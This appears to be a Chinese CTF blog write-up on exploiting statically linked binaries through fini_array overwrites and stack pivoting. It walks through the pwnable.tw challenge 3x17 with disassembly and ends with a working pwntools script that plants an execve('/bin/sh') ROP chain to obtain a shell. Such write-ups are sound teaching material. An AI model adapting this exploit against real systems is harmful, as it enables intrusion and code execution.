静态pwn
发表于:2021-07-14 |
字数统计: 843 | 阅读时长: 4分钟 | 阅读量:

静态pwn

第一次遇到一个静态堆题,一开始鸹貔了,把他当动态的来做了,写到泄露libc基址的时候发现不对劲了😨

对于这个题,我们可以使用fini_array来进行栈迁移。

先看看_start函数,将fini、init、main都放入寄存器中作为参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0000000000401A60                 public start
.text:0000000000401A60 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A60 ; __unwind {
.text:0000000000401A60 xor ebp, ebp
.text:0000000000401A62 mov r9, rdx
.text:0000000000401A65 pop rsi
.text:0000000000401A66 mov rdx, rsp
.text:0000000000401A69 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D push rax
.text:0000000000401A6E push rsp
// 以此将 fini、init、main 地址压入寄存器
.text:0000000000401A6F mov r8, offset sub_402BD0; fini
.text:0000000000401A76 mov rcx, offset loc_402B40;init
.text:0000000000401A7D mov rdi, offset main
.text:0000000000401A84 db 67h
.text:0000000000401A84 call __libc_start_main
.text:0000000000401A8A hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start endp

fini_array

可以发现是先调用fini_array[1],在调用fini_array[0],因此如果将__libc_csu_fini函数地址填入fini_array[0]中即可无限循环调用fini_array。如果将fini_array[0]填入leave_ret地址,即可进行栈迁移。

1
2
3
4
5
6
7
.fini_array:00000000004B40F0 _fini_array     segment para public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 _fini_array_0 dq offset sub_401B00 ; DATA XREF: .text:000000000040291C↑o
.fini_array:00000000004B40F0 ; __libc_csu_fini+8↑o
.fini_array:00000000004B40F8 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array ends
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:0000000000402960 __libc_csu_fini proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, _fini_array_0;改变ebp值
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: __libc_csu_fini+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp sub_48E32C
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C __libc_csu_fini endp

可以通过找到hook的地址,然后写入shellcode,开启了NX保护的话,需要使用mprotect将段给予权限。

image-20210714123009279

例题:pwnable.tw 3x17

经测试sub_40ee70函数是将你输入的值转为16进制地址。因此我们就可以进行任意地址读写操作。

image-20210922224507213

由于是静态pwn,也没有system函数和/bin/sh字符串,因此我们想到利用fini_array进行无限写的操作。只需要将fini_array[1]覆盖为main函数地址(如果直接跳转到main函数中间,那么就会因为有canary而报错。并且byte_4b9330他是unsigned int8,因此美循环0x100次就会变回1,今儿继续任意读写地址),将fini_array[0]覆盖为__libc_csu_fini函数的地址就可以进行无限写。接着我们只需要将rop写到fini_array[0]+0x10的位置上,然后再覆盖fini_array[0]为leave|ret,fini_array[1]覆盖为ret的地址就能将栈迁移到目标位置执行rop。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#适当添加sleep函数才能打通,当网络不太好的时候
from pwn import *
#io=process('./3x17')
io=remote('chall.pwnable.tw' ,10105)
context.log_level='debug'
pop_rdi=0x0000000000401696
pop_rdx_rsi=0x000000000044a309
pop_rax=0x000000000041e4af
syscall=0x00000000004022b4
leaver=0x0000000000401C4B

io.sendlineafter('addr:','4931824')
io.sendlineafter('data:',p64(0x402960)+p64(0x401B6D))
sleep(0.5)
io.sendlineafter('addr:','4931840')
io.sendlineafter('data:',p64(pop_rdi)+p64(0x4B4140)+p64(pop_rdx_rsi))
sleep(0.5)
io.sendlineafter('addr:','4931864')
io.sendlineafter('data:',p64(0)+p64(0)+p64(pop_rax))
sleep(0.5)
io.sendlineafter('addr:','4931888')
io.sendlineafter('data:',p64(59)+p64(syscall)+'/bin/sh\x00')
sleep(0.5)
io.sendlineafter('addr:','4931824')
#gdb.attach(io,'b *0x402960')
io.sendafter('data:',p64(leaver)+p64(leaver+1)+p64(pop_rdi))
io.recv(0x14+0xa)
io.interactive()
上一篇:
CBCTFpwn
下一篇:
强网杯2021pwn